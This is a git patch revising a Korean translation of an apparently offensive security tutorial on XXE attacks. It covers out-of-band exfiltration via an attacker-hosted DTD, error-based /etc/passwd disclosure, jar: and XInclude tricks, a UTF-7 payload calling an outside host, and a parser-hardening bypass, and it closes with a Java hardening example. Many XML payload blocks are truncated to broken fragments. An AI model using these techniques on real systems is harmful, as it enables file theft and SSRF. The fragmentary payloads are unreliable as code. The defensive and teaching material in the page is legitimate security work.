From 39c86cb25f9fc91af3925f2bb47a070a6e4f27d0 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 28 Jul 2025 12:29:27 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to ko --- .../xxe-xee-xml-external-entity.md | 108 +++++++++++------- 1 file changed, 68 insertions(+), 40 deletions(-) diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 1943e3c89..8962a943f 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -1,21 +1,16 @@ # XXE - XEE - XML External Entity -{{#include /banners/hacktricks-training.md}} - -- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) -- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) - {{#include ../banners/hacktricks-training.md}} ## XML Basics XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. XML은 미리 정의된 태그 집합에 제한되지 않기 때문에 HTML과 다릅니다. JSON의 부상으로 XML의 중요성은 감소했지만, AJAX 기술에서의 초기 역할은 여전히 중요합니다. -- **엔티티를 통한 데이터 표현**: XML의 엔티티는 `<` 및 `>`와 같은 특수 문자를 포함한 데이터 표현을 가능하게 하며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 `<` 및 `>`에 해당합니다. +- **데이터 표현을 위한 엔티티**: XML의 엔티티는 `<` 및 `>`와 같은 특수 문자를 포함한 데이터 표현을 가능하게 하며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 `<` 및 `>`에 해당합니다. - **XML 요소 정의**: XML은 요소 유형을 정의할 수 있게 하여 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다. - **문서 유형 정의 (DTD)**: DTD는 XML에서 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 중요합니다. DTD는 내부, 외부 또는 조합으로 존재할 수 있으며, 문서의 형식과 유효성을 안내합니다. - **사용자 정의 및 외부 엔티티**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 XML 외부 엔티티(XXE) 공격의 맥락에서 보안 문제를 일으키며, 이는 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: ` ]>` -- **파라미터 엔티티를 통한 XXE 탐지**: XXE 취약점을 탐지하기 위해, 특히 파서 보안 조치로 인해 기존 방법이 실패할 때 XML 파라미터 엔티티를 활용할 수 있습니다. 이러한 엔티티는 DNS 조회 또는 제어된 도메인에 대한 HTTP 요청을 유발하는 등의 비대면 탐지 기술을 허용하여 취약성을 확인합니다. +- **매개변수 엔티티를 통한 XXE 탐지**: 특히 파서 보안 조치로 인해 기존 방법이 실패할 때, XML 매개변수 엔티티를 활용하여 XXE 취약점을 탐지할 수 있습니다. 이러한 엔티티는 DNS 조회 또는 제어된 도메인에 대한 HTTP 요청을 유발하는 등의 비대칭 탐지 기술을 허용하여 취약성을 확인합니다. - ` ]>` - ` ]>` @@ -48,13 +43,13 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설 ``` ![](<../images/image (86).png>) -이 두 번째 사례는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용해야 합니다 (Portswigger 실험실의 경우는 아님). +이 두 번째 사례는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용해야 합니다 (Portswiggers 실험실의 경우는 아님). ```xml ]> &example; ``` -이 세 번째 경우에서 우리는 `Element stockCheck`를 ANY로 선언하고 있음을 주목하세요. +이 세 번째 경우에서 `Element stockCheck`를 ANY로 선언하고 있음을 주목하세요. ```xml ]>&xxe; @@ -96,7 +91,7 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니 ``` ### "Blind" SSRF - Exfiltrate data out-of-band -**이번 경우에는 서버가 악성 페이로드가 포함된 새로운 DTD를 로드하도록 하여 파일의 내용을 HTTP 요청을 통해 전송하게 할 것입니다 (다중 라인 파일의 경우 \_ftp://**\_를 통해 전송을 시도할 수 있습니다. 예를 들어 이 기본 서버 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**를 사용할 수 있습니다). 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.** +**이번 경우에는 서버가 악성 페이로드가 포함된 새로운 DTD를 로드하도록 하여 파일의 내용을 HTTP 요청을 통해 전송하게 할 것입니다 (다중 행 파일의 경우 \_ftp://**\_를 통해 전송을 시도할 수 있습니다. 예를 들어 이 기본 서버 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**를 사용할 수 있습니다). 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.** 주어진 악성 DTD에서는 데이터를 유출하기 위해 일련의 단계가 수행됩니다: @@ -116,11 +111,11 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니 - 또 다른 XML 매개변수 엔티티인 `%eval`이 정의됩니다. 이는 동적으로 새로운 XML 매개변수 엔티티인 `%exfiltrate`를 선언합니다. `%exfiltrate` 엔티티는 공격자의 서버에 HTTP 요청을 하도록 설정되며, URL의 쿼리 문자열 내에서 `%file` 엔티티의 내용을 전달합니다. 2. **엔티티 실행:** - `%eval` 엔티티가 사용되어 `%exfiltrate` 엔티티의 동적 선언이 실행됩니다. -- 그 후 `%exfiltrate` 엔티티가 사용되어 파일의 내용과 함께 지정된 URL로 HTTP 요청이 트리거됩니다. +- 그 후 `%exfiltrate` 엔티티가 사용되어 파일의 내용을 포함한 HTTP 요청이 지정된 URL로 전송됩니다. -공격자는 이 악성 DTD를 자신이 제어하는 서버에 호스팅하며, 일반적으로 `http://web-attacker.com/malicious.dtd`와 같은 URL에서 호스팅합니다. +공격자는 이 악성 DTD를 자신이 제어하는 서버에 호스팅하며, 일반적으로 `http://web-attacker.com/malicious.dtd`와 같은 URL에 위치합니다. -**XXE 페이로드:** 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 보냅니다: +**XXE 페이로드:** 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 전송합니다: ```xml %xxe;]> @@ -149,13 +144,13 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니 ![](<../images/image (809).png>) -_**외부 DTD는 두 번째 `eval` 내에 하나의 엔티티를 포함할 수 있도록 허용하지만, 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다(일반적으로).**_ +_**외부 DTD는 두 번째 `eval` 내부에 하나의 엔티티를 포함할 수 있도록 허용하지만, 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다(일반적으로).**_ ### **오류 기반 (시스템 DTD)** 그렇다면 **외부 상호작용이 차단된** 블라인드 XXE 취약점은 어떻게 될까요(외부 연결이 불가능한 경우)? -XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다**. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격의 실행을 용이하게 합니다. 이러한 공격은 원래 외부 DTD에서 선언된 XML 매개변수 엔티티의 재정의를 악용합니다. 서버에 의해 외부 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다. +XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다**. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격을 실행할 수 있게 합니다. 이러한 공격은 원래 외부 DTD에서 선언된 XML 매개변수 엔티티의 재정의를 악용합니다. 서버에 의해 외부 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다. 서버의 파일 시스템에 `/usr/local/app/schema.dtd`에 DTD 파일이 포함되어 있고, `custom_entity`라는 엔티티를 정의하고 있다고 가정해 보겠습니다. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다: ```xml @@ -170,13 +165,13 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 %local_dtd; ]> ``` -이 DTD에 의해 설명된 단계가 실행됩니다: +다음 단계는 이 DTD에 의해 실행됩니다: - `local_dtd`라는 XML 매개변수 엔티티의 정의에는 서버의 파일 시스템에 위치한 외부 DTD 파일이 포함됩니다. - 외부 DTD에서 원래 정의된 `custom_entity` XML 매개변수 엔티티에 대한 재정의가 발생하여 [오류 기반 XXE 익스플로잇](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 캡슐화합니다. 이 재정의는 구문 오류를 유발하도록 설계되어 `/etc/passwd` 파일의 내용을 노출합니다. -- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 `custom_entity`가 포함됩니다. 이 일련의 작업은 익스플로잇을 위해 목표로 하는 오류 메시지를 발생시킵니다. +- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 `custom_entity`가 포함됩니다. 이 일련의 작업은 익스플로잇을 위해 의도된 오류 메시지를 발생시킵니다. -**실제 사례:** GNOME 데스크탑 환경을 사용하는 시스템은 종종 `ISOamso`라는 엔티티가 포함된 DTD를 `/usr/share/yelp/dtd/docbookx.dtd`에 가지고 있습니다. +**실제 사례:** GNOME 데스크탑 환경을 사용하는 시스템은 종종 `/usr/share/yelp/dtd/docbookx.dtd`에 `ISOamso`라는 엔티티가 포함된 DTD를 가지고 있습니다. ```xml ) -이 기술은 **내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다**. 이를 위해 **서버가 사용하는 동일한 OS / 소프트웨어를 설치하고** **기본 DTD를 검색하거나**, **시스템 내의 기본 DTD 목록을 가져와서** **그 중 어떤 것이 존재하는지 확인할 수 있습니다**: +이 기술은 **내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다**. 이를 위해 **서버가 사용하는 동일한 OS / 소프트웨어를 설치하고** **일부 기본 DTD를 검색하거나**, **시스템 내의 기본 DTD 목록을 가져와서** **그 중 어떤 것이 존재하는지 확인할 수 있습니다**: ```xml %local_dtd; ]> ``` -자세한 정보는 [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)에서 확인하세요. +더 많은 정보는 [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)에서 확인하세요. ### 시스템 내 DTD 찾기 @@ -210,7 +205,7 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 https://github.com/GoSecure/dtd-finder/tree/master/list {{#endref}} -또한, **피해자 시스템의 Docker 이미지**가 있다면, 같은 레포지토리의 도구를 사용하여 **이미지**를 **스캔**하고 시스템 내에 존재하는 **DTD의 경로**를 **찾을** 수 있습니다. 방법을 배우려면 [github의 Readme](https://github.com/GoSecure/dtd-finder)를 읽어보세요. +게다가, **피해자 시스템의 Docker 이미지**가 있다면, 같은 레포지토리의 도구를 사용하여 **이미지**를 **스캔**하고 시스템 내에 존재하는 **DTD의 경로**를 **찾을** 수 있습니다. 방법을 배우려면 [github의 Readme](https://github.com/GoSecure/dtd-finder)를 읽어보세요. ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar @@ -226,11 +221,11 @@ Testing 0 entities : [] 이 공격에 대한 더 깊이 있는 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**. -**Microsoft Office 문서를 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이러한 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다. +**Microsoft Office 문서를 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다. 이 취약점을 테스트하기 위해서는 **XXE 페이로드가 포함된 Microsoft Office 파일을 생성해야 합니다**. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 만드는 것입니다. -문서가 압축 해제되면 `./unzipped/word/document.xml`에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML은 원하는 XXE 페이로드를 포함하도록 수정되어야 하며, 종종 HTTP 요청으로 시작합니다. +문서의 압축이 해제되면 `./unzipped/word/document.xml`에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML은 원하는 XXE 페이로드를 포함하도록 수정되어야 하며, 종종 HTTP 요청으로 시작합니다. 수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 교체하는 것이 중요합니다. @@ -240,7 +235,7 @@ Testing 0 entities : [] ### Jar: protocol -**jar** 프로토콜은 **Java 애플리케이션** 내에서만 접근할 수 있도록 설계되었습니다. 이는 **PKZIP** 아카이브(예: `.zip`, `.jar` 등) 내에서 파일 접근을 가능하게 하여 로컬 및 원격 파일 모두를 지원합니다. +**jar** 프로토콜은 **Java 애플리케이션** 내에서만 접근할 수 있도록 설계되었습니다. 이는 **PKZIP** 아카이브(예: `.zip`, `.jar` 등) 내에서 파일 접근을 가능하게 하며, 로컬 및 원격 파일 모두를 지원합니다. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt @@ -250,11 +245,11 @@ jar:https://download.host.com/myarchive.zip!/file.txt PKZIP 아카이브 내의 파일에 접근하는 과정은 여러 단계를 포함합니다: -1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다, 예를 들어 `https://download.website.com/archive.zip`. -2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장되며, 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다. +1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다, 예: `https://download.website.com/archive.zip`. +2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장됩니다, 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다. 3. 아카이브가 추출되어 그 내용을 접근합니다. 4. 아카이브 내의 특정 파일인 `file.zip`이 읽힙니다. -5. 작업 후, 이 과정에서 생성된 모든 임시 파일이 삭제됩니다. +5. 작업 후, 이 과정에서 생성된 임시 파일은 삭제됩니다. 이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. [이 리포지토리](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)에서 사용할 수 있는 도구로는 Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 있습니다. ```xml @@ -315,9 +310,9 @@ Responder.py -I eth0 -v ### XInclude -서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우, XML 구조에 대한 직접적인 제어는 종종 제한되어 `DOCTYPE` 요소를 수정하는 데 제한이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 `XInclude` 공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터 일부만 제어할 수 있는 경우에도 효과적입니다. +서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우, XML 구조에 대한 직접적인 제어는 종종 제한되어 `DOCTYPE` 요소를 수정하는 데 제한이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 `XInclude` 공격은 XML 문서의 모든 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터의 일부만 제어할 수 있을 때도 효과적입니다. -`XInclude` 공격을 실행하려면 `XInclude` 네임스페이스를 선언하고 의도된 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 그러한 공격을 어떻게 구성할 수 있는지에 대한 간결한 예입니다: +`XInclude` 공격을 실행하려면 `XInclude` 네임스페이스를 선언하고, 의도된 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 그러한 공격을 어떻게 구성할 수 있는지에 대한 간결한 예입니다: ```xml productId=&storeId=1 ``` @@ -425,17 +420,17 @@ Content-Type: application/xml;charset=UTF-8 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 ``` -### File:/ 프로토콜 우회 +### File:/ Protocol Bypass 웹이 PHP를 사용하고 있다면, `file:/` 대신 **php wrappers**`php://filter/convert.base64-encode/resource=`를 사용하여 **내부 파일**에 접근할 수 있습니다. -웹이 Java를 사용하고 있다면 [**jar: 프로토콜**](xxe-xee-xml-external-entity.md#jar-protocol)을 확인할 수 있습니다. +웹이 Java를 사용하고 있다면 [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol)을 확인할 수 있습니다. -### HTML 엔티티 +### HTML Entities [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)에서의 트릭\ -**html 엔티티**로 인코딩된 **엔티티 안에 엔티티**를 생성한 다음, 이를 호출하여 **dtd를 로드**할 수 있습니다.\ -사용되는 **HTML 엔티티**는 **숫자**여야 한다는 점에 유의하세요 (예를 들어 \[이 예제에서\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). +**html entities**로 인코딩된 **엔티티 안에 엔티티**를 생성한 다음, 이를 호출하여 **dtd**를 **로드**할 수 있습니다.\ +사용되는 **HTML Entities**는 **숫자**여야 한다는 점에 유의하세요 (예: \[이 예제에서\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml %a;%dtd;]> @@ -485,7 +480,7 @@ XLIFF (XML Localization Interchange File Format)는 현지화 프로세스에서 ### Blind Request Analysis -다음 내용을 포함하여 서버에 요청이 전송됩니다: +서버에 다음 내용을 포함한 요청이 전송됩니다: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -519,7 +514,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -이 접근 방식은 User Agent가 Java 1.8의 사용을 나타낸다는 것을 보여줍니다. 이 버전의 Java에서 주목할 만한 제한 사항은 Out of Band 기술을 사용하여 /etc/passwd와 같은 줄 바꿈 문자가 포함된 파일을 검색할 수 없다는 것입니다. +이 접근 방식은 User Agent가 Java 1.8의 사용을 나타낸다는 것을 보여줍니다. 이 버전의 Java의 주목할 만한 제한 사항은 Out of Band 기술을 사용하여 /etc/passwd와 같은 줄 바꿈 문자가 포함된 파일을 검색할 수 없다는 것입니다. Error-Based Data Exfiltration 이 제한을 극복하기 위해 Error-Based 접근 방식이 사용됩니다. DTD 파일은 다음과 같이 구조화되어 대상 파일의 데이터를 포함하는 오류를 유발합니다: ```xml @@ -714,7 +709,7 @@ https://github.com/luisfontes19/xxexploiter Error : failed to load external entity "file:///aaa/FLAG{secret}" ``` > [!TIP] -> 파서가 내부 서브셋 내의 `%`/`&` 문자에 대해 불평하면, 이들을 이중 인코딩(`&#x25;` ⇒ `%`)하여 확장을 지연시킵니다. +> 파서가 내부 서브셋 내의 `%`/`&` 문자에 대해 불평하는 경우, 이들을 이중 인코딩(`&#x25;` ⇒ `%`)하여 확장을 지연시킵니다. #### 2. lxml 5.4.0 하드닝 우회 (libxml2는 여전히 취약함) `lxml` ≥ 5.4.0은 위와 같은 *error* 매개변수 엔티티를 금지하지만, **libxml2**는 여전히 이를 *general* 엔티티에 포함할 수 있도록 허용합니다. 요령은 다음과 같습니다: @@ -741,11 +736,44 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}" * 절대 필요하지 않은 경우 `load_dtd` 및/또는 `resolve_entities`를 비활성화하십시오. * 클라이언트에게 원시 파서 오류를 반환하지 마십시오. -## 참고 문헌 +### Java DocumentBuilderFactory 강화 예시 + +Java 애플리케이션은 종종 `DocumentBuilderFactory`를 사용하여 XML을 파싱합니다. 기본적으로 이 팩토리는 **외부 엔티티 해석을 허용**하므로, 추가적인 강화 플래그가 설정되지 않으면 XXE 및 SSRF에 취약합니다: +```java +DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); +DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone +``` +보안 구성 예: +```java +DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + +// Completely forbid any DOCTYPE declarations (best-effort defence) +dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + +// Disable expansion of external entities +dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); +dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + +// Enable "secure processing" which applies additional limits +dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true); + +// Defensive extras +dbf.setXIncludeAware(false); +dbf.setExpandEntityReferences(false); + +DocumentBuilder builder = dbf.newDocumentBuilder(); +``` +애플리케이션이 내부적으로 DTD를 지원해야 하는 경우, `disallow-doctype-decl`을 비활성화 상태로 유지하되 **항상** 두 개의 `external-*-entities` 기능은 `false`로 설정해야 합니다. 이 조합은 고전적인 파일 노출 페이로드(`file:///etc/passwd`)와 네트워크 기반 SSRF 벡터(`http://169.254.169.254/…`, `jar:` 프로토콜 등)를 방지합니다. + +실제 사례 연구: **CVE-2025-27136**은 Java S3 에뮬레이터 *LocalS3*에서 위에 보여준 취약한 생성자를 사용했습니다. 인증되지 않은 공격자는 `CreateBucketConfiguration` 엔드포인트에 조작된 XML 본문을 제공하여 서버가 HTTP 응답에 로컬 파일(예: `/etc/passwd`)을 포함하도록 할 수 있었습니다. + +## References + +- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/) - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) -- HTTP를 통해 자체 외부 DTD를 사용하여 정보 추출: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) +- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)